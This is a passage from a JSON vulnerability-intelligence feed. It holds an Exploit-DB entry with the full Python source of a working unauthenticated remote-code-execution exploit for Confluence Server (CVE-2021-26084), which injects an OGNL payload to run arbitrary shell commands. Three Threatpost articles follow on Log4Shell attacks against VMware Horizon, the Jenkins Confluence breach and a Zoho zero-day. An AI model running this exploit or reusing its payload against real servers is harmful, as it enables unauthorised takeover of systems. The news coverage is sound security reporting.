"HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T00:00:00", "type": "exploitdb", "title": "Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-26084", "CVE-2021-26084"], "modified": "2021-09-01T00:00:00", "id": "EDB-ID:50243", "href": "https://www.exploit-db.com/exploits/50243", "sourceData": "# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)\r\n# Date: 01/09/2021\r\n# Exploit Author: h3v0x\r\n# Vendor Homepage: https://www.atlassian.com/\r\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\r\n# Version: All < 7.12.x versions before 7.12.5\r\n# Tested on: Linux Distros \r\n# CVE : CVE-2021-26084\r\n\r\n#!/usr/bin/python3\r\n\r\n# References: \r\n# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\r\n# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\r\n\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport optparse\r\n\r\nparser = optparse.OptionParser()\r\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help=\"Base target host: http://confluencexxx.com\")\r\nparser.add_option('-p', '--path', action=\"store\", dest=\"path\", help=\"Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x\")\r\n\r\noptions, args = parser.parse_args()\r\nsession = requests.Session()\r\n\r\nurl_vuln = options.url\r\nendpoint = options.path\r\n\r\nif not options.url or not options.path:\r\n\r\n print('[+] Specify an url target')\r\n print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')\r\n print('[+] Example help usage: exploit.py -h')\r\n exit()\r\n\r\n\r\ndef banner():\r\n\r\n print('---------------------------------------------------------------')\r\n print('[-] Confluence Server Webwork OGNL injection')\r\n print('[-] CVE-2021-26084')\r\n print('[-] https://github.com/h3v0x')\r\n print('--------------------------------------------------------------- \\n')\r\n\r\n\r\ndef cmdExec():\r\n\r\n while True:\r\n cmd = input('> ')\r\n xpl_url = url_vuln + endpoint\r\n xpl_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36\", \"Connection\": \"close\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"Accept-Encoding\": \"gzip, deflate\"}\r\n xpl_data = {\"queryString\": \"aaaaaaaa\\\\u0027+{Class.forName(\\\\u0027javax.script.ScriptEngineManager\\\\u0027).newInstance().getEngineByName(\\\\u0027JavaScript\\\\u0027).\\\\u0065val(\\\\u0027var isWin = java.lang.System.getProperty(\\\\u0022os.name\\\\u0022).toLowerCase().contains(\\\\u0022win\\\\u0022); var cmd = new java.lang.String(\\\\u0022\"+cmd+\"\\\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\\\u0022cmd.exe\\\\u0022, \\\\u0022/c\\\\u0022, cmd); } else{p.command(\\\\u0022bash\\\\u0022, \\\\u0022-c\\\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\\\u0022\\\\u0022; var output = \\\\u0022\\\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\\\u0027)}+\\\\u0027\"}\r\n rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)\r\n\r\n soup = BeautifulSoup(rawHTML.text, 'html.parser')\r\n queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']\r\n print(queryStringValue)\r\n\r\n\r\nbanner()\r\ncmdExec()", "sourceHref": "https://www.exploit-db.com/raw/50243", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2022-03-29T20:34:59", "description": "What researchers are calling a \u201chorde\u201d of miner bots and backdoors are using the [Log4Shell](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>) bug to take over vulnerable VMware Horizon servers, with threat actors still actively waging some attacks.\n\nOn Tuesday, Sophos [reported](<https://news.sophos.com/en-us/2022/03/29/horde-of-miner-bots-and-backdoors-leveraged-log4j-to-attack-vmware-horizon-servers/>) that the remote code execution (RCE) Log4j vulnerability in the ubiquitous Java logging library is under active attack, \u201cparticularly among cryptocurrency mining bots.\u201d Besides cryptominers, attackers are also prying open Log4Shell to deliver backdoors that Sophos believes are [initial access brokers](<https://threatpost.com/zebra2104-initial-access-broker-malware-apts/176075/>) (IABs) that could lay the groundwork for later ransomware infections.\n\n## History of Log4Shell Nightmare-ware\n\nThe Log4j flaw was discovered in December, vigorously attacked within hours of its discovery and subsequently dubbed Log4Shell. Sophos\u2019s findings about VMware Horizon servers being besieged by threat actors leveraging the bug is in keeping with what\u2019s been happening since then: In fact, cyberattacks [increased](<https://threatpost.com/cyber-spike-attacks-high-log4j/177481/>) 50 percent YoY in 2021, peaking in December, due to a frenzy of Log4j exploits.\n\nWith [millions](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) of Log4j-targeted attacks clocking in per hour since the flaw\u2019s [discovery](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>), within just a few weeks, there was a record-breaking peak of 925 cyberattacks per week per organization, globally, as Check Point Research (CPR) [reported](<https://blog.checkpoint.com/2022/01/10/check-point-research-cyber-attacks-increased-50-year-over-year/>) in early January.\n\nLog4Shell has been a nightmare for organizations to hunt down and remediate, given that the flaw affected hundreds of software products, \u201cmaking it difficult for some organizations to assess their exposure,\u201d noted Sophos researchers Gabor Szappanos and Sean Gallagher in Tuesday\u2019s report. In other words, some outfits don\u2019t necessarily know if they\u2019re vulnerable.\n\n## Why Attackers Have Zeroed in on Horizon\n\nIn particular, those attacks have included ones targeting vulnerable [VMware Horizon](<https://www.vmware.com/security/advisories/VMSA-2021-0028.html>) servers: a platform that serves up virtual desktops and apps across the hybrid cloud. These servers have been important tools in organizations\u2019 arsenals over the past few years, given that the pandemic triggered the necessity to provide work-from-home tools, the researchers pointed out.\n\nAlthough VMware [released](<https://kb.vmware.com/s/article/87073>) patched versions of Horizon earlier this month \u2013 on March 8 \u2013 many organizations may not have been able to deploy the patched version or apply workarounds, if they even know that they\u2019re vulnerable to begin with.\n\n\u201cAttempts to compromise Horizon servers are among the more targeted exploits of Log4Shell vulnerabilities because of their nature,\u201d Sophos said.\n\nEven those organizations that have applied the patches or workarounds may have been already compromised in other ways, given the backdoors and reverse-shell activity Sophos has tracked, the researchers cautioned.\n\nIn late December and January, VMWare\u2019s Horizon servers with Log4Shell vulnerabilities came under [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) attack, as [flagged](<https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike>) by researchers at Huntress. Other [ attacks](<https://twitter.com/GossiTheDog/status/1484145056198053891>) included those that [installed web shells](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>).\n\nThose attacks used the Lightweight Directory Access Protocol (LDAP) resource call of Log4j to retrieve a malicious Java class file that modified existing, legitimate Java code, injecting a web shell into the VM Blast Secure Gateway service and thereby granting attackers remote access and code execution. Sophos has seen these attacks show up in customer telemetry since the beginning of January, the researchers said.\n\nThe attacks against Horizon servers grew throughout January. Beyond attempts to deploy cryptocurrency-mining malware, other attacks were potentially designed either to grant threat actors initial access or to infect targets with ransomware, Sophos said. Such attacks have continued into this month: the security firm shared a bar chart, shown below, that shows the ebb and flow of the attacks that have bled into mid-March.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/29124520/attack-horizon-e1648572335942.jpg>)\n\nVMware Horizon server attacks since the beginning of January. Source: Sophos.\n\n\u201cThe largest wave of Log4J attacks aimed at Horizon that we have detected began January 19, and is still ongoing,\u201d the researchers said.\n\nBut this wave hasn\u2019t relied on the use of one of cybercrooks\u2019 favorite tools, Cobalt Strike: a commercial penetration-testing tool that can be used to deploy beacons on systems in order to simulate attacks and test network defenses.\n\nRather, \u201cthe cryptominer installer script is directly executed from the Apache Tomcat component of the Horizon server,\u201d Sophos said, with the most frequently used server in the campaigns being 80.71.158.96.\n\n## The Payloads\n\nSophos found a slew of miners being dumped on targeted Horizon servers, including z0Miner, the JavaX miner and at least two variants \u2013 the Jin and Mimu cryptocurrency miner bots \u2013 of the XMRig commercial cryptominer,. Speaking of which, Uptycs reported in January that cryptojackers had figured out how to [inject XMRig](<https://threatpost.com/cybercriminals-vmware-vsphere-cryptominers/177722/>) into VMware\u2019s vSphere services, undetected. For its part, back in September 2021, Trend Micro [found](<https://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html>) that z0Miner operators were exploiting the [Atlassian Confluence RCE](<https://threatpost.com/jenkins-atlassian-confluence-cyberattacks/169249/>) (CVE-2021-26084) for cryptojacking attacks.\n\nSophos also found several backdoors, including several legitimate testing tools. One such was implants of Sliver: a tool used by red teams and penetration testers to emulate adversarial tactics. Sliver showed up as a precursor to the Jin miner in all the cases where Sophos was able to investigate further, leading the researchers to suspect that it\u2019s actually the payload. Either that, or maybe the actor behind Sliver might be a ransomware gang, the researchers hypothesized, given that the same servers deploying Sliver also hosted files to deliver the Atera agent as a payload.\n\nAtera is another common, legitimate remote monitoring and management tool. However, the threat actors aren\u2019t attacking existing Atera installations, per se, the researchers said. Rather, \u201cthey install their own Atera agents in order to use the Atera cloud management infrastructure to deploy additional payloads in the future,\u201d they explained.\n\nSophos also found the legitimate Splashtop Streamer remote-access tool being downloaded and installed on infected systems, \u201cprobably as an automated task for the new clients.\u201d\n\nAs well, there were several PowerShell-based reverse shells in the payload mix that had been dropped by the Log4Shell exploits.\n\n## Two Types of Reverse Shells\n\nSophos found two types of reverse shell: one, a shorter script that opens a socket connection to a remote server and executes the received buffer, which is supposed to be a PowerShell command.\n\nThey also found a larger variant of a reverse shell: one that can reflectively load a Windows binary, with the loader as an encrypted and base64 encoded blob, as depicted below:\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/29155214/Base64_encoded_blob-e1648583546965.jpg>)\n\nBase64 encoded blob. Source: Sophos.\n\nSophos telemetry showed that while z0Miner, JavaX and some other payloads were downloaded directly by the web shells that had been used for initial compromise, the Jin bots were tied to use of Sliver and used the same wallets as Mimo, \u201csuggesting these three malware were used by the same actor,\u201d Sophos said. Researchers believe that Jin is, in fact, \u201csimply a rebranded version of Mimo.\u201d\n\n## Loads of New Malware Loaders\n\nNew malware loaders are springing up like dandelions in the spring. Besides the ones covered by Sophos in Tuesday\u2019s report, security researchers at Symantec today also published a technical[ report](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUeZY5vOK6hHL-2FZQIhe5-2B4JVOehUh4Rb8p3ey37Q9OVEIiWGDSjejxPvkb8ovY0h-2FaWB9dvcXCl3SBCFSEuV5tcRGFsPYlsbDvD-2BUBbuZrpjG-2F3o76yv-2FjW7fnR-2BbuAqcTKlC8Ql3vteVWIz1-2F4jQ39BlDgn8Ze7x-2FjjxdfusIUCoWeHw_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzQ9CpkZyf7pccI4YxuRF0BJuYEbml5ScFK0-2F-2FZqd-2FdTf4msXI8najxJ51o4YJVhtdqJKuSTmaXDsB1uynL70vmZixJBnwPhKCug0sz-2BmD22NzQdTPN5KP9W-2FB8FFI76ksSSNzbmCCaVViVDpzZ8413vH2SK7hoc-2F9PgDFHE5nPDuAWqJnV7-2B1m3omM9hPkKC6f0TGhlnK7L2Rm0UV3m4RfnEylMOpa8zOk3ZpTlH4NHB441qOzaGmeusjrgk12h1-2FHBCuMABwcfwmdXp6d8OUxE-3D>) on a new malware loader tracked as Verblecon that\u2019s escaped detection due to the polymorphic nature of its code.\n\nVerblecon has likewise been seen in attacks that install cryptocurrency miners on compromised machines.\n\nSaryu Nayyar, CEO and founder of[ Gurucul](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUemyDumHlbVHpjKINAYc3Jk-3DThvL_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzQ9CpkZyf7pccI4YxuRF0BJuYEbml5ScFK0-2F-2FZqd-2FdTf4msXI8najxJ51o4YJVhtdqJKuSTmaXDsB1uynL70vmZixJBnwPhKCug0sz-2BmD22NzQdTPN5KP9W-2FB8FFI76ksRzfCH77Y1C4pRGOycTIJafHsN-2B4KnSygPf4489ZnosIN0CloPhQCESwF4k9NfwdKmZsgKHx6JGWXjEVL3UpRuh84NABjevUYJLlxFeyFD2KR14VLhnCySOfOl1QNCbp-2F2Vu3lWjuUOLb0td2Dh5r3I-3D>), told Threatpost that in order to fight the legitimate assessment tools being used to breach organizations, it\u2019s also \u201ccritical\u201d to employ sophisticated technologies \u2013 namely, self-training machine learning and behavioral models \u2013 to sniff out exploitation of exposed vulnerabilities as well as to detect the remote surveillance done by attackers with tools such as Cobalt Strike, et al.\n\n\u201cCurrent [extended detection and response, or XDR] and traditional [security information and event management, or SIEM] solutions, even with claims of User Entity Behavior Analytics rooted in known patterns and rule-based artificial intelligence, are unable to adapt to these methods,\u201d she told Threatpost via email. \u201cOrganizations need to invest in solutions that employ transparent non rule-based machine learning models to more rapidly identify new attacks.\u201d\n\nChris Olson, CEO of digital safety platform The Media Trust, told Threatpost on Tuesday that polymorphic techniques \u201care just another way to hide malicious intentions, along with checks for security tools and live environments.\u201d\n\nThis attack provides another example of how the risks of Web 2.0 are being replicated in Web 3.0, he said via email.\n\n\u201cToday\u2019s embryonic beginnings of Web 3.0 are eerily reminiscent of the Web as it existed in the 1990s, showing sporadic signs of vulnerability that may well foreshadow a future era of cyber chaos,\u201d Olson said.\n\nTo prevent that from happening, we must learn from our past mistakes, he warned. \u201cToday\u2019s digital ecosystem is riddled with threats because Web 2.0 was not designed for cybersecurity from the outset. Untrusted third parties were allowed to proliferate, leading to phishing attacks, malicious advertising, rampant data privacy abuse and other threats that are hard to fix in the present. With Web 3.0, we have a chance to account for potential attack vectors by design \u2013 otherwise, the same issues will replicate themselves with greater potency than ever.\u201d\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-29T20:33:08", "type": "threatpost", "title": "Log4JShell Used to Swarm VMware Servers with Miners, Backdoors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-44228"], "modified": "2022-03-29T20:33:08", "id": "THREATPOST:4EEFA1A0FABB9A6E17C3E70F39EB58FE", "href": "https://threatpost.com/log4jshell-swarm-vmware-servers-miners-backdoors/179142/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-07T16:21:15", "description": "A just-patched, critical remote code-execution (RCE) vulnerability in the Atlassian Confluence server platform is suffering wide-scale exploitation, the Feds have warned \u2013 as evidenced by an attack on the popular Jenkins open-source automation engine.\n\nAtlassian Confluence is a collaboration platform where business teams can organize its work in one place: \u201cDynamic pages give your team a place to create, capture, and collaborate on any project or idea,\u201d according to [the website](<https://www.atlassian.com/software/confluence/guides/get-started/confluence-overview>). \u201cSpaces help your team structure, organize and share work, so every team member has visibility into institutional knowledge and access to the information they need to do their best work.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nIn other words, it can house a treasure trove of sensitive business information as well as supply-chain information that could be used for follow-on attacks on partners, suppliers and customers.\n\n## **Jenkins Hack \u2013 Just a Cryptomining Hit**\n\nFor its part, Jenkins identified a \u201csuccessful attack against our deprecated Confluence service,\u201d it said in [a statement](<https://www.jenkins.io/blog/2021/09/04/wiki-attacked/>) over the weekend. Thankfully, \u201cwe have no reason to believe that any Jenkins releases, plugins or source code have been affected,\u201d the team added.\n\nThe attackers were able to exploit the bug in question ([CVE-2021-26084](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26084>)) to install a Monero cryptominer in the container running the service, according to the statement \u2013 no cyberespionage in this case. The team took the server offline immediately and rotated all passwords, and there\u2019s no plan to bring Confluence back, it said.\n\n\u201cAn attacker would not be able to access much of our other infrastructure,\u201d the statement continued, adding that the server hasn\u2019t been used in daily operations since late 2019. \u201cConfluence did integrate with our integrated identity system which also powers Jira, Artifactory, and numerous other services.\u201d\n\nThe hack comes on the heels of an urgent pre-Labor Day warning from U.S. Cybercommand that the flaw is firmly in the sites of cybercriminals aiming at U.S. businesses, less than 10 days after it was disclosed on August 25:\n\n> Mass exploitation of Atlassian Confluence CVE-2021-26084 is ongoing and expected to accelerate. Please patch immediately if you haven\u2019t already\u2014 this cannot wait until after the weekend.\n> \n> \u2014 USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) [September 3, 2021](<https://twitter.com/CNMF_CyberAlert/status/1433787671785185283?ref_src=twsrc%5Etfw>)\n\nIt\u2019s a finding that echoes researchers from Bad Packets, who said [via Twitter](<https://twitter.com/bad_packets/status/1433157632370511873>) that it began to see mass scanning and exploitation for CVE-2021-26084 around Sept. 1.\n\nOn Tuesday, Japan-CERT [issued guidance](<https://www.jpcert.or.jp/english/at/2021/at210037.html>) that active exploits were being deployed in Japan as well.\n\n## **RCE with CVE-2021-26084**\n\nThe bug is an Object-Graph Navigation Language (OGNL) injection vulnerability that affects Confluence Server and Data Center (affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5). OGNL it is an expression language for getting and setting properties of Java objects, which can be used to create or change executable code.\n\nIn some cases, an unauthenticated attacker could execute arbitrary code on a computer running a Confluence Server or Data Center instance \u2013 which earned the issue a critical 9.8 out of 10 rating on the CVSS vulnerability-rating scale.\n\n\u201cIf the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems,\u201d [explained](<https://unit42.paloaltonetworks.com/cve-2021-26084/>) researchers at Palo Alto Networks, who also confirmed the exploitation activity.\n\nKaspersky researchers explained that the vulnerability is only usable for unauthenticated RCE if the option _\u201c_Allow people to sign up to create their account_\u201d _is active.\n\n\u201cSeveral proof-of-concepts for exploiting it, including a version that permits RCE, are already available online,\u201d Kaspersky noted [in its writeup](<https://www.kaspersky.com/blog/confluence-server-cve-2021-26084/41635/>), issued Monday.\n\nAtlassian [has released updates](<https://www.atlassian.com/software/confluence/download-archives>) for versions 6.13.23, 7.4.11, 7.11.6, 7.12.5 and 7.13.0. The bug doesn\u2019t affect Confluence Cloud users.\n\n## **Atlassian\u2019s Summer of Security Woes **\n\nIn July, Atlassian patched a serious flaw in its Jira platform, which is a proprietary bug-tracking and agile project-management tool used for software development. It\u2019s often tied to ([PDF](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/06/23175805/Atlassian-ATO-CPR-blog-FINAL.pdf>)) the Confluence platform through single sign-on (SSO) capabilities.\n\nThe issue tracked as CVE-2020-36239 could enable remote, unauthenticated attackers to execute arbitrary code in some Jira Data Center products, thanks to a missing authentication check in Jira\u2019s implementation of Ehcache, which is an open-source, Java distributed cache for general-purpose caching.\n\n\u201cCVE-2020-36239 can be remotely exploited to achieve arbitrary code execution and will likely be of great interest to both cybercriminals and nation-state-associated actors,\u201d Chris Morgan, senior cyber-threat intelligence analyst at digital-risk provider Digital Shadows, [said at the time](<https://threatpost.com/atlassian-critical-jira-flaw/168053/>). He pointed to several recent supply-chain attacks, including attacks against software providers Accellion and Kaseya, that have leveraged vulnerabilities to gain initial access and to compromise software builds \u201cknown to be used by a diverse client base.\u201d\n\nEarlier, in June, researchers uncovered a chain of Atlassian bugs that [could be tied together](<https://threatpost.com/atlassian-bugs-could-have-led-to-1-click-takeover/167203/>) for one-click information disclosure from Jira accounts. Sensitive information could have been easily siphoned out of the platform, researchers at Check Point Research said: \u201cAnything related to managing a team or writing\u2026code that you can encounter bugs in.\u201d\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on Sept. 22 at 2 p.m. EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with independent researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {}, "published": "2021-09-07T16:07:58", "type": "threatpost", "title": "Jenkins Hit as Atlassian Confluence Cyberattacks Widen", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-36239", "CVE-2021-26084"], "modified": "2021-09-07T16:07:58", "id": "THREATPOST:042D7C606FEB056B462B0BFB61E59917", "href": "https://threatpost.com/jenkins-atlassian-confluence-cyberattacks/169249/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-09T15:34:54", "description": "A critical security vulnerability in the Zoho ManageEngine ADSelfService Plus platform could allow remote attackers to bypass authentication and have free rein across users\u2019 Active Directory (AD) and cloud accounts.\n\nThe issue (CVE-2021-40539) has been actively exploited in the wild as a zero-day, according to the Cybersecurity and Infrastructure Security Agency (CISA).\n\nZoho issued a patch on Tuesday, and CISA [warned that](<https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/zoho-releases-security-update-adselfservice-plus>) admins should not only apply it immediately, but also ensure in general that ADSelfService Plus is not directly accessible from the internet. The issue affects builds 6113 and below (the fixed version is 6114).\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe Zoho ManageEngine ADSelfService Plus is a self-service password management and single sign-on (SSO) solution for AD and cloud apps, meaning that any cyberattacker able to take control of the platform would have multiple pivot points into both mission-critical apps (and their sensitive data) and other parts of the corporate network via AD. It is, in other words, a powerful, highly privileged application which can act as a convenient point-of-entry to areas deep inside an enterprise\u2019s footprint, for both users and attackers alike.\n\n\u201cUltimately, this underscores the threat posed to internet-facing applications,\u201d Matt Dahl, principal intelligence analyst for Crowdstrike, [noted](<https://twitter.com/voodoodahl1/status/1435673342925737991>). \u201cThese don\u2019t always get the same attention as exploit docs with decoy content, but the variety of these web-facing services gives actors lots of options.\u201d\n\nThis isn\u2019t Zoho\u2019s first zero-day rodeo. In March 2020, [researchers disclosed](<https://threatpost.com/critical-zoho-zero-day-flaw-disclosed/153484/>) a zero-day vulnerability in Zoho\u2019s ManageEngine Desktop Central, an endpoint management tool to help users manage their servers, laptops, smartphones and more from a central location. The critical bug ([CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>), with a CVSS score of 9.8) allowed an unauthenticated, remote attacker to gain complete control over affected systems \u2013 \u201cbasically the worst it gets,\u201d researchers said at the time.\n\n## **Authentication Bypass and RCE**\n\nThe issue at hand is an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus, which could lead to remote code execution (RCE), according to Zoho\u2019s [knowledge-base advisory](<https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html>).\n\n\u201cThis vulnerability allows an attacker to gain unauthorized access to the product through REST API endpoints by sending a specially crafted request,\u201d according to the firm. \u201cThis would allow the attacker to carry out subsequent attacks resulting in RCE.\u201d\n\nEchoing CISA\u2019s assessment, Zoho also noted that \u201cWe are noticing indications of this vulnerability being exploited.\u201d The firm characterized the issue as \u201ccritical\u201d although a CVSS vulnerability-severity rating has not yet been calculated for the bug.\n\nFurther technical details are for now scant (and no public exploit code appears to be making the rounds \u2014 yet), but Dahl noted that the zero-day attacks have been going on for quite some time:\n\n> Observed exploitation of this vuln _before_ CVE-2021-26084 (Atlassian Confluence) which got a lot of attention last week. Some very general observations:\n> \n> 1/ <https://t.co/rIfxxeBlmO>\n> \n> \u2014 Matt Dahl (@voodoodahl1) [September 8, 2021](<https://twitter.com/voodoodahl1/status/1435673338693754886?ref_src=twsrc%5Etfw>)\n\nHowever, he said that the attacks have thus far been highly targeted and limited, and possibly the work of a single (unknown, for now) actor.\n\n\u201cActor(s) appeared to have a clear objective with ability to get in and get out quickly,\u201d he tweeted.\n\nHe also noted similarities to the attacks taking place on Atlassian Confluence instances (CVE-2021-26084), which also started out as limited and targeted. However, in that case, researchers were able to \u201crapidly produce\u201d a PoC exploit, he pointed out, and eventually there was proliferation to multiple targeted-intrusion actors, usually resulting in cryptomining activity ([as seen in](<https://threatpost.com/jenkins-atlassian-confluence-cyberattacks/169249/>) the recent Jenkins attack).\n\nAtlassian Confluence, like AD SelfService Plus, allows centralized cloud access to a raft of sensitive corporate information, being a collaboration platform where business teams can organize their work in one place.\n\n## How to Know if Zoho AD SelfService Plus is Vulnerable\n\nUsers can tell if they\u2019ve been affected by taking a gander at the \\ManageEngine\\ADSelfService Plus\\logs folder to see if the following strings are found in the access log entries:\n\n * /RestAPI/LogonCustomization\n * /RestAPI/Connection\n\nZoho also said that users will find the following files in the ADSelfService Plus installation folder if running a vulnerable version:\n\n * cer in \\ManageEngine\\ADSelfService Plus\\bin folder.\n * jsp in \\ManageEngine\\ADSelfService Plus\\help\\admin-guide\\Reports folder.\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on Sept. 22 at 2 p.m. EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with independent researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T12:58:48", "type": "threatpost", "title": "Zoho ManageEngine Password Manager Zero-Day Gets Fix", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": 